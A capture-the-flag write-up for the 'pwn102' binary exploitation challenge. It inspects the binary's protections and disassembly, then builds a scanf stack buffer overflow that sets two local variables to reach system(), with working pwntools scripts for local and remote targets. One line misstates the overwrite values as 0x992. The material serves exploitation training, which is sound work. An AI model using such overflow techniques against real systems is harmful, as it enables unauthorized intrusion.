Challenge Name : pwn102
category : pwn
File check
Load file to Cutter . If you dont have cutter this is ref video on how to download and setup your cutter https://shorturl.at/thoTb
Cutter-v2.3.4-Linux-x86_64.AppImage pwn102-1644307392479.pwn102&
In Dashboard we can see the protection and the file format.
Canary : False
NX bit : True
PIC : True
Lets check out the assembly code in Graph(main). There is scanf function being call
0x00000954 5 e8f7fdffff call __isoc99_scanf ; sym.imp.__isoc99_scanf ; calls a subroutine, push eip into the stack (esp) ; int scanf(const char *format)
Lets see the man page for scanf
man scanf
BUGS
It is impossible to accurately know how many characters these functions have consumed from the input stream,
since they only report the number of successful conversions. For example, if the input is "123\n a",
scanf("%d %d", &a, &b) will consume the digits, the newline, and the space, but not the letter a. This makes it
difficult to recover from invalid input.
I see . This function can be use in buffer overflow as gets() function
Goal
to call the system() function in the main
0x0000098b 5 e890fdffff call system ; sym.imp.system ; calls a subroutine, push eip into the stack (esp) ; int system(const char *string)
In order to get to that functionwe must make our rbp-4 = 0xc0ff33 and rbp - 8 = 0xc0d3 based on this code here
817dfc33ffc000 cmp dword [rbp - 4], 0xc0ff33 ; compare two operands
0x00000960 2 7530 jne 0x992 ; jump short if not equal/not zero (zf=0)
|
0x00000962 7 817df8d3c00000 cmp dword [rbp - 8], 0xc0d3 ; compare two operands
0x00000969 2 7527 jne 0x992 ; jump short if not equal/not zero (zf=0)
Buffer Overflow
scanf take rbp - 0x70 and this is value we have to overwrite rbp-4 = 0x992 and rbp - 8 = 0x992
Python Script
Locally
from pwn import *
context.binary = binary = "./pwn102-1644307392479.pwn102"
# buf = rbp - 70
# rbp-4 = 0xc0ff33 and rbp - 8 = 0xc0d3
# payload = padding + 0xc0d + 0xc0ff33
payload = b"A" * (0x70 - 0x8) + p32(0xc0d3) + p32(0xc0ff33)
p = process()
p.recv()
p.sendline(payload)
p.interactive()
Remote
from pwn import *
context.binary = binary = "./pwn102-1644307392479.pwn102"
# buf = rbp - 70
# rbp-4 = 0xc0ff33 and rbp - 8 = 0xc0d3
# payload = padding + 0xc0d + 0xc0ff33
payload = b"A" * (0x70 - 0x8) + p32(0xc0d3) + p32(0xc0ff33)
#p = process()
p = remote("10.10.246.99",9002)
p.recv()
p.sendline(payload)
p.interactive()